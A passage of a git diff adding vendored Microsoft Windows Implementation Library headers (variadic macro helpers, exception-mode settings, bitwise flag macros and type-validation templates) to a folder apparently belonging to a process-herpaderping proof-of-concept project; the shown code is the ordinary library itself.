arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp30(fn, __VA_ARGS__)) +#define __WI_FOR_imp32(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp31(fn, __VA_ARGS__)) +#define __WI_FOR_imp33(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp32(fn, __VA_ARGS__)) +#define __WI_FOR_imp34(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp33(fn, __VA_ARGS__)) +#define __WI_FOR_imp35(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp34(fn, __VA_ARGS__)) +#define __WI_FOR_imp36(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp35(fn, __VA_ARGS__)) +#define __WI_FOR_imp37(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp36(fn, __VA_ARGS__)) +#define __WI_FOR_imp38(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp37(fn, __VA_ARGS__)) +#define __WI_FOR_imp39(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp38(fn, __VA_ARGS__)) +#define __WI_FOR_imp40(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp39(fn, __VA_ARGS__)) +#define __WI_FOR_imp41(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp40(fn, __VA_ARGS__)) +#define __WI_FOR_imp42(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp41(fn, __VA_ARGS__)) +#define __WI_FOR_imp43(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp42(fn, __VA_ARGS__)) +#define __WI_FOR_imp44(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp43(fn, __VA_ARGS__)) +#define __WI_FOR_imp45(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp44(fn, __VA_ARGS__)) +#define __WI_FOR_imp46(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp45(fn, __VA_ARGS__)) +#define __WI_FOR_imp47(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp46(fn, __VA_ARGS__)) +#define __WI_FOR_imp48(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp47(fn, __VA_ARGS__)) +#define __WI_FOR_imp49(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp48(fn, __VA_ARGS__)) +#define __WI_FOR_imp50(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp49(fn, __VA_ARGS__)) +#define __WI_FOR_imp51(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp50(fn, __VA_ARGS__)) +#define __WI_FOR_imp52(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp51(fn, __VA_ARGS__)) +#define __WI_FOR_imp53(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp52(fn, __VA_ARGS__)) +#define __WI_FOR_imp54(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp53(fn, __VA_ARGS__)) +#define __WI_FOR_imp55(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp54(fn, __VA_ARGS__)) +#define __WI_FOR_imp56(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp55(fn, __VA_ARGS__)) +#define __WI_FOR_imp57(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp56(fn, __VA_ARGS__)) +#define __WI_FOR_imp58(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp57(fn, __VA_ARGS__)) +#define __WI_FOR_imp59(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp58(fn, __VA_ARGS__)) +#define __WI_FOR_imp60(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp59(fn, __VA_ARGS__)) +#define __WI_FOR_imp61(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp60(fn, __VA_ARGS__)) +#define __WI_FOR_imp62(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp61(fn, __VA_ARGS__)) +#define __WI_FOR_imp63(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp62(fn, __VA_ARGS__)) +#define __WI_FOR_imp64(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp63(fn, __VA_ARGS__)) +#define __WI_FOR_imp65(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp64(fn, __VA_ARGS__)) +#define __WI_FOR_imp66(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp65(fn, __VA_ARGS__)) +#define __WI_FOR_imp67(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp66(fn, __VA_ARGS__)) +#define __WI_FOR_imp68(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp67(fn, __VA_ARGS__)) +#define __WI_FOR_imp69(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp68(fn, __VA_ARGS__)) +#define __WI_FOR_imp70(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp69(fn, __VA_ARGS__)) +#define __WI_FOR_imp71(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp70(fn, __VA_ARGS__)) +#define __WI_FOR_imp72(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp71(fn, __VA_ARGS__)) +#define __WI_FOR_imp73(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp72(fn, __VA_ARGS__)) +#define __WI_FOR_imp74(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp73(fn, __VA_ARGS__)) +#define __WI_FOR_imp75(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp74(fn, __VA_ARGS__)) +#define __WI_FOR_imp76(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp75(fn, __VA_ARGS__)) +#define __WI_FOR_imp77(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp76(fn, __VA_ARGS__)) +#define __WI_FOR_imp78(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp77(fn, __VA_ARGS__)) +#define __WI_FOR_imp79(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp78(fn, __VA_ARGS__)) +#define __WI_FOR_imp80(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp79(fn, __VA_ARGS__)) +#define __WI_FOR_imp81(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp80(fn, __VA_ARGS__)) +#define __WI_FOR_imp82(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp81(fn, __VA_ARGS__)) +#define __WI_FOR_imp83(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp82(fn, __VA_ARGS__)) +#define __WI_FOR_imp84(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp83(fn, __VA_ARGS__)) +#define __WI_FOR_imp85(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp84(fn, __VA_ARGS__)) +#define __WI_FOR_imp86(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp85(fn, __VA_ARGS__)) +#define __WI_FOR_imp87(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp86(fn, __VA_ARGS__)) +#define __WI_FOR_imp88(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp87(fn, __VA_ARGS__)) +#define __WI_FOR_imp89(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp88(fn, __VA_ARGS__)) +#define __WI_FOR_imp90(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp89(fn, __VA_ARGS__)) +#define __WI_FOR_imp91(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp90(fn, __VA_ARGS__)) +#define __WI_FOR_imp92(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp91(fn, __VA_ARGS__)) +#define __WI_FOR_imp93(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp92(fn, __VA_ARGS__)) +#define __WI_FOR_imp94(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp93(fn, __VA_ARGS__)) +#define __WI_FOR_imp95(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp94(fn, __VA_ARGS__)) +#define __WI_FOR_imp96(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp95(fn, __VA_ARGS__)) +#define __WI_FOR_imp97(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp96(fn, __VA_ARGS__)) +#define __WI_FOR_imp98(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp97(fn, __VA_ARGS__)) +#define __WI_FOR_imp99(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp98(fn, __VA_ARGS__)) + +#define __WI_FOR_imp(n, fnAndArgs) WI_PASTE(__WI_FOR_imp, n) fnAndArgs +/// @endcond + +//! Iterates through each of the given arguments invoking the specified macro against each one. +#define WI_FOREACH(fn, ...) __WI_FOR_imp(WI_ARGS_COUNT(__VA_ARGS__), (fn, ##__VA_ARGS__)) + +//! Dispatches a single macro name to separate macros based on the number of arguments passed to it. +#define WI_MACRO_DISPATCH(name, ...) WI_PASTE(WI_PASTE(name, WI_ARGS_COUNT(__VA_ARGS__)), (__VA_ARGS__)) + +//! @} // Macro composition helpers + +#if !defined(__cplusplus) || defined(__WIL_MIN_KERNEL) + +#define WI_ODR_PRAGMA(NAME, TOKEN) +#define WI_NOEXCEPT + +#else +#pragma warning(push) +#pragma warning(disable:4714) // __forceinline not honored + +// DO NOT add *any* further includes to this file -- there should be no dependencies from its usage +#include "wistd_type_traits.h" + +//! This macro inserts ODR violation protection; the macro allows it to be compatible with straight "C" code +#define WI_ODR_PRAGMA(NAME, TOKEN) __pragma(detect_mismatch("ODR_violation_" NAME "_mismatch", TOKEN)) + +#ifdef WIL_KERNEL_MODE +WI_ODR_PRAGMA("WIL_KERNEL_MODE", "1") +#else +WI_ODR_PRAGMA("WIL_KERNEL_MODE", "0") +#endif + +#if defined(_CPPUNWIND) && !defined(WIL_SUPPRESS_EXCEPTIONS) +/** This define is automatically set when exceptions are enabled within wil. +It is automatically defined when your code is compiled with exceptions enabled (via checking for the built-in +_CPPUNWIND flag) unless you explicitly define WIL_SUPPRESS_EXCEPTIONS ahead of including your first wil +header. All exception-based WIL methods and classes are included behind: +~~~~ +#ifdef WIL_ENABLE_EXCEPTIONS +// code +#endif +~~~~ +This enables exception-free code to directly include WIL headers without worrying about exception-based +routines suddenly becoming available. */ +#define WIL_ENABLE_EXCEPTIONS +#endif +/// @endcond + +/// @cond +#if defined(WIL_EXCEPTION_MODE) +static_assert(WIL_EXCEPTION_MODE <= 2, "Invalid exception mode"); +#elif !defined(WIL_LOCK_EXCEPTION_MODE) +#define WIL_EXCEPTION_MODE 0 // default, can link exception-based and non-exception based libraries together +#pragma detect_mismatch("ODR_violation_WIL_EXCEPTION_MODE_mismatch", "0") +#elif defined(WIL_ENABLE_EXCEPTIONS) +#define WIL_EXCEPTION_MODE 1 // new code optimization: ONLY support linking libraries together that have exceptions enabled +#pragma detect_mismatch("ODR_violation_WIL_EXCEPTION_MODE_mismatch", "1") +#else +#define WIL_EXCEPTION_MODE 2 // old code optimization: ONLY support linking libraries that are NOT using exceptions +#pragma detect_mismatch("ODR_violation_WIL_EXCEPTION_MODE_mismatch", "2") +#endif + +#if WIL_EXCEPTION_MODE == 1 && !defined(WIL_ENABLE_EXCEPTIONS) +#error Must enable exceptions when WIL_EXCEPTION_MODE == 1 +#endif + +// block for documentation only +#if defined(WIL_DOXYGEN) +/** This define can be explicitly set to disable exception usage within wil. +Normally this define is never needed as the WIL_ENABLE_EXCEPTIONS macro is enabled automatically by looking +at _CPPUNWIND. If your code compiles with exceptions enabled, but does not want to enable the exception-based +classes and methods from WIL, define this macro ahead of including the first WIL header. */ +#define WIL_SUPPRESS_EXCEPTIONS + +/** This define can be explicitly set to lock the process exception mode to WIL_ENABLE_EXCEPTIONS. +Locking the exception mode provides optimizations to exception barriers, staging hooks and DLL load costs as it eliminates the need to +do copy-on-write initialization of various function pointers and the necessary indirection that's done within WIL to avoid ODR violations +when linking libraries together with different exception handling semantics. */ +#define WIL_LOCK_EXCEPTION_MODE + +/** This define explicit sets the exception mode for the process to control optimizations. +Three exception modes are available: +0) This is the default. This enables a binary to link both exception-based and non-exception based libraries together that + use WIL. This adds overhead to exception barriers, DLL copy on write pages and indirection through function pointers to avoid ODR + violations when linking libraries together with different exception handling semantics. +1) Prefer this setting when it can be used. This locks the binary to only supporting libraries which were built with exceptions enabled. +2) This locks the binary to libraries built without exceptions. */ +#define WIL_EXCEPTION_MODE +#endif + +#if (__cplusplus >= 201703) || (_MSVC_LANG >= 201703) +#define WIL_HAS_CXX_17 1 +#else +#define WIL_HAS_CXX_17 0 +#endif + +// Until we'll have C++17 enabled in our code base, we're falling back to SAL +#define WI_NODISCARD __WI_LIBCPP_NODISCARD_ATTRIBUTE + +#define __R_ENABLE_IF_IS_CLASS(ptrType) wistd::enable_if_t::value, void*> = (void*)0 +#define __R_ENABLE_IF_IS_NOT_CLASS(ptrType) wistd::enable_if_t::value, void*> = (void*)0 + +//! @defgroup bitwise Bitwise Inspection and Manipulation +//! Bitwise helpers to improve readability and reduce the error rate of bitwise operations. +//! Several macros have been constructed to assist with bitwise inspection and manipulation. These macros exist +//! for two primary purposes: +//! +//! 1. To improve the readability of bitwise comparisons and manipulation. +//! +//! The macro names are the more concise, readable form of what's being done and do not require that any flags +//! or variables be specified multiple times for the comparisons. +//! +//! 2. To reduce the error rate associated with bitwise operations. +//! +//! The readability improvements naturally lend themselves to this by cutting down the number of concepts. +//! Using `WI_IsFlagSet(var, MyEnum::Flag)` rather than `((var & MyEnum::Flag) == MyEnum::Flag)` removes the comparison +//! operator and repetition in the flag value. +//! +//! Additionally, these macros separate single flag operations (which tend to be the most common) from multi-flag +//! operations so that compile-time errors are generated for bitwise operations which are likely incorrect, +//! such as: `WI_IsFlagSet(var, MyEnum::None)` or `WI_IsFlagSet(var, MyEnum::ValidMask)`. +//! +//! Note that the single flag helpers should be used when a compile-time constant single flag is being manipulated. These +//! helpers provide compile-time errors on misuse and should be preferred over the multi-flag helpers. The multi-flag helpers +//! should be used when multiple flags are being used simultaneously or when the flag values are not compile-time constants. +//! +//! Common example usage (manipulation of flag variables): +//! ~~~~ +//! WI_SetFlag(m_flags, MyFlags::Foo); // Set a single flag in the given variable +//! WI_SetAllFlags(m_flags, MyFlags::Foo | MyFlags::Bar); // Set one or more flags +//! WI_ClearFlagIf(m_flags, MyFlags::Bar, isBarClosed); // Conditionally clear a single flag based upon a bool +//! WI_ClearAllFlags(m_flags, MyFlags::Foo | MyFlags::Bar); // Clear one or more flags from the given variable +//! WI_ToggleFlag(m_flags, MyFlags::Foo); // Toggle (change to the opposite value) a single flag +//! WI_UpdateFlag(m_flags, MyFlags::Bar, isBarClosed); // Sets or Clears a single flag from the given variable based upon a bool value +//! WI_UpdateFlagsInMask(m_flags, flagsMask, newFlagValues); // Sets or Clears the flags in flagsMask to the masked values from newFlagValues +//! ~~~~ +//! Common example usage (inspection of flag variables): +//! ~~~~ +//! if (WI_IsFlagSet(m_flags, MyFlags::Foo)) // Is a single flag set in the given variable? +//! if (WI_IsAnyFlagSet(m_flags, MyFlags::Foo | MyFlags::Bar)) // Is at least one flag from the given mask set? +//! if (WI_AreAllFlagsClear(m_flags, MyFlags::Foo | MyFlags::Bar)) // Are all flags in the given list clear? +//! if (WI_IsSingleFlagSet(m_flags)) // Is *exactly* one flag set in the given variable? +//! ~~~~ +//! @{ + +//! Returns the unsigned type of the same width and numeric value as the given enum +#define WI_EnumValue(val) static_cast<::wil::integral_from_enum>(val) +//! Validates that exactly ONE bit is set in compile-time constant `flag` +#define WI_StaticAssertSingleBitSet(flag) static_cast(::wil::details::verify_single_flag_helper(WI_EnumValue(flag))>::value) + +//! @name Bitwise manipulation macros +//! @{ + +//! Set zero or more bitflags specified by `flags` in the variable `var`. +#define WI_SetAllFlags(var, flags) ((var) |= (flags)) +//! Set a single compile-time constant `flag` in the variable `var`. +#define WI_SetFlag(var, flag) WI_SetAllFlags(var, WI_StaticAssertSingleBitSet(flag)) +//! Conditionally sets a single compile-time constant `flag` in the variable `var` only if `condition` is true. +#define WI_SetFlagIf(var, flag, condition) do { if (wil::verify_bool(condition)) { WI_SetFlag(var, flag); } } while ((void)0, 0) + +//! Clear zero or more bitflags specified by `flags` from the variable `var`. +#define WI_ClearAllFlags(var, flags) ((var) &= ~(flags)) +//! Clear a single compile-time constant `flag` from the variable `var`. +#define WI_ClearFlag(var, flag) WI_ClearAllFlags(var, WI_StaticAssertSingleBitSet(flag)) +//! Conditionally clear a single compile-time constant `flag` in the variable `var` only if `condition` is true. +#define WI_ClearFlagIf(var, flag, condition) do { if (wil::verify_bool(condition)) { WI_ClearFlag(var, flag); } } while ((void)0, 0) + +//! Changes a single compile-time constant `flag` in the variable `var` to be set if `isFlagSet` is true or cleared if `isFlagSet` is false. +#define WI_UpdateFlag(var, flag, isFlagSet) (wil::verify_bool(isFlagSet) ? WI_SetFlag(var, flag) : WI_ClearFlag(var, flag)) +//! Changes only the flags specified by `flagsMask` in the variable `var` to match the corresponding flags in `newFlags`. +#define WI_UpdateFlagsInMask(var, flagsMask, newFlags) wil::details::UpdateFlagsInMaskHelper(var, flagsMask, newFlags) + +//! Toggles (XOR the value) of multiple bitflags specified by `flags` in the variable `var`. +#define WI_ToggleAllFlags(var, flags) ((var) ^= (flags)) +//! Toggles (XOR the value) of a single compile-time constant `flag` in the variable `var`. +#define WI_ToggleFlag(var, flag) WI_ToggleAllFlags(var, WI_StaticAssertSingleBitSet(flag)) +//! @} // bitwise manipulation macros + +//! @name Bitwise inspection macros +//! @{ + +//! Evaluates as true if every bitflag specified in `flags` is set within `val`. +#define WI_AreAllFlagsSet(val, flags) wil::details::AreAllFlagsSetHelper(val, flags) +//! Evaluates as true if one or more bitflags specified in `flags` are set within `val`. +#define WI_IsAnyFlagSet(val, flags) (static_cast(WI_EnumValue(val) & WI_EnumValue(flags)) != static_cast(0)) +//! Evaluates as true if a single compile-time constant `flag` is set within `val`. +#define WI_IsFlagSet(val, flag) WI_IsAnyFlagSet(val, WI_StaticAssertSingleBitSet(flag)) + +//! Evaluates as true if every bitflag specified in `flags` is clear within `val`. +#define WI_AreAllFlagsClear(val, flags) (static_cast(WI_EnumValue(val) & WI_EnumValue(flags)) == static_cast(0)) +//! Evaluates as true if one or more bitflags specified in `flags` are clear within `val`. +#define WI_IsAnyFlagClear(val, flags) (!wil::details::AreAllFlagsSetHelper(val, flags)) +//! Evaluates as true if a single compile-time constant `flag` is clear within `val`. +#define WI_IsFlagClear(val, flag) WI_AreAllFlagsClear(val, WI_StaticAssertSingleBitSet(flag)) + +//! Evaluates as true if exactly one bit (any bit) is set within `val`. +#define WI_IsSingleFlagSet(val) wil::details::IsSingleFlagSetHelper(val) +//! Evaluates as true if exactly one bit from within the specified `mask` is set within `val`. +#define WI_IsSingleFlagSetInMask(val, mask) wil::details::IsSingleFlagSetHelper((val) & (mask)) +//! Evaluates as true if exactly one bit (any bit) is set within `val` or if there are no bits set within `val`. +#define WI_IsClearOrSingleFlagSet(val) wil::details::IsClearOrSingleFlagSetHelper(val) +//! Evaluates as true if exactly one bit from within the specified `mask` is set within `val` or if there are no bits from `mask` set within `val`. +#define WI_IsClearOrSingleFlagSetInMask(val, mask) wil::details::IsClearOrSingleFlagSetHelper((val) & (mask)) +//! @} + +#if defined(WIL_DOXYGEN) +/** This macro provides a C++ header with a guaranteed initialization function. +Normally, were a global object's constructor used for this purpose, the optimizer/linker might throw +the object away if it's unreferenced (which throws away the side-effects that the initialization function +was trying to achieve). Using this macro forces linker inclusion of a variable that's initialized by the +provided function to elide that optimization. +//! +This functionality is primarily provided as a building block for header-based libraries (such as WIL) +to be able to layer additional functionality into other libraries by their mere inclusion. Alternative models +of initialization should be used whenever they are available. +~~~~ +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +WI_HEADER_INITITALIZATION_FUNCTION(InitializeDesktopFamilyApis, [] +{ + g_pfnGetModuleName = GetCurrentModuleName; + g_pfnFailFastInLoaderCallout = FailFastInLoaderCallout; + return 1; +}); +#endif +~~~~ +The above example is used within WIL to decide whether or not the library containing WIL is allowed to use +desktop APIs. Building this functionality as #IFDEFs within functions would create ODR violations, whereas +doing it with global function pointers and header initialization allows a runtime determination. */ +#define WI_HEADER_INITITALIZATION_FUNCTION(name, fn) +#elif defined(_M_IX86) +#define WI_HEADER_INITITALIZATION_FUNCTION(name, fn) \ + extern "C" { __declspec(selectany) unsigned char g_header_init_ ## name = static_cast(fn()); } \ + __pragma(comment(linker, "/INCLUDE:_g_header_init_" #name)) +#elif defined(_M_IA64) || defined(_M_AMD64) || defined(_M_ARM) || defined(_M_ARM64) +#define WI_HEADER_INITITALIZATION_FUNCTION(name, fn) \ + extern "C" { __declspec(selectany) unsigned char g_header_init_ ## name = static_cast(fn()); } \ + __pragma(comment(linker, "/INCLUDE:g_header_init_" #name)) +#else + #error linker pragma must include g_header_init variation +#endif + + +/** All Windows Implementation Library classes and functions are located within the "wil" namespace. +The 'wil' namespace is an intentionally short name as the intent is for code to be able to reference +the namespace directly (example: `wil::srwlock lock;`) without a using statement. Resist adding a using +statement for wil to avoid introducing potential name collisions between wil and other namespaces. */ +namespace wil +{ + /// @cond + namespace details + { + template + class pointer_range + { + public: + pointer_range(T begin_, T end_) : m_begin(begin_), m_end(end_) {} + T begin() const { return m_begin; } + T end() const { return m_end; } + private: + T m_begin; + T m_end; + }; + } + /// @endcond + + /** Enables using range-based for between a begin and end object pointer. + ~~~~ + for (auto& obj : make_range(objPointerBegin, objPointerEnd)) { } + ~~~~ */ + template + details::pointer_range make_range(T begin, T end) + { + return details::pointer_range(begin, end); + } + + /** Enables using range-based for on a range when given the base pointer and the number of objects in the range. + ~~~~ + for (auto& obj : make_range(objPointer, objCount)) { } + ~~~~ */ + template + details::pointer_range make_range(T begin, size_t count) + { + return details::pointer_range(begin, begin + count); + } + + + //! @defgroup outparam Output Parameters + //! Improve the conciseness of assigning values to optional output parameters. + //! @{ + + /** Assign the given value to an optional output parameter. + Makes code more concise by removing trivial `if (outParam)` blocks. */ + template + inline void assign_to_opt_param(_Out_opt_ T *outParam, T val) + { + if (outParam != nullptr) + { + *outParam = val; + } + } + + /** Assign NULL to an optional output pointer parameter. + Makes code more concise by removing trivial `if (outParam)` blocks. */ + template + inline void assign_null_to_opt_param(_Out_opt_ T *outParam) + { + if (outParam != nullptr) + { + *outParam = nullptr; + } + } + //! @} // end output parameter helpers + + /** Performs a logical or of the given variadic template parameters allowing indirect compile-time boolean evaluation. + Example usage: + ~~~~ + template + struct FeatureRequiredBy + { + static const bool enabled = wil::variadic_logical_or::enabled...>::value; + }; + ~~~~ */ + template struct variadic_logical_or; + /// @cond + template <> struct variadic_logical_or<> : wistd::false_type { }; + template struct variadic_logical_or : wistd::true_type { }; + template struct variadic_logical_or : variadic_logical_or::type { }; + /// @endcond + + /// @cond + namespace details + { + template + struct verify_single_flag_helper + { + static_assert((flag != 0) && ((flag & (flag - 1)) == 0), "Single flag expected, zero or multiple flags found"); + static const unsigned long long value = flag; + }; + } + /// @endcond + + + //! @defgroup typesafety Type Validation + //! Helpers to validate variable types to prevent accidental, but allowed type conversions. + //! These helpers are most useful when building macros that accept a particular type. Putting these functions around the types accepted + //! prior to pushing that type through to a function (or using it within the macro) allows the macro to add an additional layer of type + //! safety that would ordinarily be stripped away by C++ implicit conversions. This system is extensively used in the error handling helper + //! macros to validate the types given to various macro parameters. + //! @{ + + /** Verify that `val` can be evaluated as a logical bool. + Other types will generate an intentional compilation error. Allowed types for a logical bool are bool, BOOL, + boolean, BOOLEAN, and classes with an explicit bool cast. + @param val The logical bool expression + @return A C++ bool representing the evaluation of `val`. */ + template + _Post_satisfies_(return == static_cast(val)) + __forceinline constexpr bool verify_bool(const T& val) + { + return static_cast(val); + } + + template + __forceinline constexpr bool verify_bool(T /*val*/) + { + static_assert(!wistd::is_same::value, "Wrong Type: bool/BOOL/BOOLEAN/boolean expected"); + return false; + } + + template <> + _Post_satisfies_(return == val) + __forceinline constexpr bool verify_bool(bool val) + { + return val; + } + + template <> + _Post_satisfies_(return == (val != 0)) + __forceinline constexpr bool verify_bool(int val) + { + return (val != 0); + } + + template <> + _Post_satisfies_(return == !!val) + __forceinline constexpr bool verify_bool(unsigned char val) + { + return !!val; + } + + /** Verify that `val` is a Win32 BOOL value. + Other types (including other logical bool expressions) will generate an intentional compilation error. Note that this will + accept any `int` value as long as that is the underlying typedef behind `BOOL`. + @param val The Win32 BOOL returning expression + @return A Win32 BOOL representing the evaluation of `val`. */ + template + _Post_satisfies_(return == val) + __forceinline constexpr int verify_BOOL(T val) + { + // Note: Written in terms of 'int' as BOOL is actually: typedef int BOOL; + static_assert((wistd::is_same::value), "Wrong Type: BOOL expected"); + return val; + } + + /** Verify that `hr` is an HRESULT value. + Other types will generate an intentional compilation error. Note that this will accept any `long` value as that is the + underlying typedef behind HRESULT. + //! + Note that occasionally you might run into an HRESULT which is directly defined with a #define, such as: + ~~~~ + #define UIA_E_NOTSUPPORTED 0x80040204 + ~~~~ + Though this looks like an `HRESULT`, this is actually an `unsigned long` (the hex specification forces this). When + these are encountered and they are NOT in the public SDK (have not yet shipped to the public), then you should change + their definition to match the manner in which `HRESULT` constants are defined in winerror.h: + ~~~~ + #define E_NOTIMPL _HRESULT_TYPEDEF_(0x80004001L) + ~~~~ + When these are encountered in the public SDK, their type should not be changed and you should use a static_cast + to use this value in a macro that utilizes `verify_hresult`, for example: + ~~~~ + RETURN_HR_IF(static_cast(UIA_E_NOTSUPPORTED), (patternId != UIA_DragPatternId)); + ~~~~ + @param val The HRESULT returning expression + @return An HRESULT representing the evaluation of `val`. */ + template + _Post_satisfies_(return == hr) + inline constexpr long verify_hresult(T hr) + { + // Note: Written in terms of 'int' as HRESULT is actually: typedef _Return_type_success_(return >= 0) long HRESULT + static_assert(wistd::is_same::value, "Wrong Type: HRESULT expected"); + return hr; + } + /// @} // end type validation routines + + /// @cond + // Implementation details for macros and helper functions... do not use directly. + namespace details + { + // Use size-specific casts to avoid sign extending numbers -- avoid warning C4310: cast truncates constant value + #define __WI_MAKE_UNSIGNED(val) \ + (__pragma(warning(push)) __pragma(warning(disable: 4310 4309)) (sizeof(val) == 1 ? static_cast(val) : \ + sizeof(val) == 2 ? static_cast(val) : \ + sizeof(val) == 4 ? static_cast(val) : \ + static_cast(val)) __pragma(warning(pop))) + #define __WI_IS_UNSIGNED_SINGLE_FLAG_SET(val) ((val) && !((val) & ((val) - 1))) + #define __WI_IS_SINGLE_FLAG_SET(val) __WI_IS_UNSIGNED_SINGLE_FLAG_SET(__WI_MAKE_UNSIGNED(val)) + + template + __forceinline constexpr bool AreAllFlagsSetHelper(TVal val, TFlags flags) + { + return ((val & flags) == static_cast(flags)); + } + + template + __forceinline constexpr bool IsSingleFlagSetHelper(TVal val) + { + return __WI_IS_SINGLE_FLAG_SET(val); + } + + template + __forceinline constexpr bool IsClearOrSingleFlagSetHelper(TVal val) + { + return ((val == static_cast>(0)) || IsSingleFlagSetHelper(val)); + } + + template + __forceinline constexpr void UpdateFlagsInMaskHelper(_Inout_ TVal& val, TMask mask, TFlags flags) + { + val = static_cast>((val & ~mask) | (flags & mask)); + } + + template + struct variable_size; + + template <> + struct variable_size<1> + { + typedef unsigned char type; + }; + + template <> + struct variable_size<2> + { + typedef unsigned short type; + }; + + template <> + struct variable_size<4> + { + typedef unsigned long type; + }; + + template <> + struct variable_size<8> + { + typedef unsigned long long type; + }; + + template + struct variable_size_mapping + { + typedef typename variable_size::type type; + }; + } // details + /// @endcond + + /** Defines the unsigned type of the same width (1, 2, 4, or 8 bytes) as the given type. + This allows code to generically convert any enum class to it's corresponding underlying type. */ + template + using integral_from_enum = typename details::variable_size_mapping::type; +} // wil + +#pragma warning(pop) + +#endif // __cplusplus +#endif // __WIL_COMMON_INCLUDED diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/cppwinrt.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/cppwinrt.h new file mode 100644 index 00000000..6e2f3d19 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/cppwinrt.h @@ -0,0 +1,272 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_CPPWINRT_INCLUDED +#define __WIL_CPPWINRT_INCLUDED + +#include "common.h" +#include +#include +#include +#include + +// WIL and C++/WinRT use two different exception types for communicating HRESULT failures. Thus, both libraries need to +// understand how to translate these exception types into the correct HRESULT values at the ABI boundary. Prior to +// C++/WinRT "2.0" this was accomplished by injecting the WINRT_EXTERNAL_CATCH_CLAUSE macro - that WIL defines below - +// into its exception handler (winrt::to_hresult). Starting with C++/WinRT "2.0" this mechanism has shifted to a global +// function pointer - winrt_to_hresult_handler - that WIL sets automatically when this header is included and +// 'CPPWINRT_SUPPRESS_STATIC_INITIALIZERS' is not defined. + +/// @cond 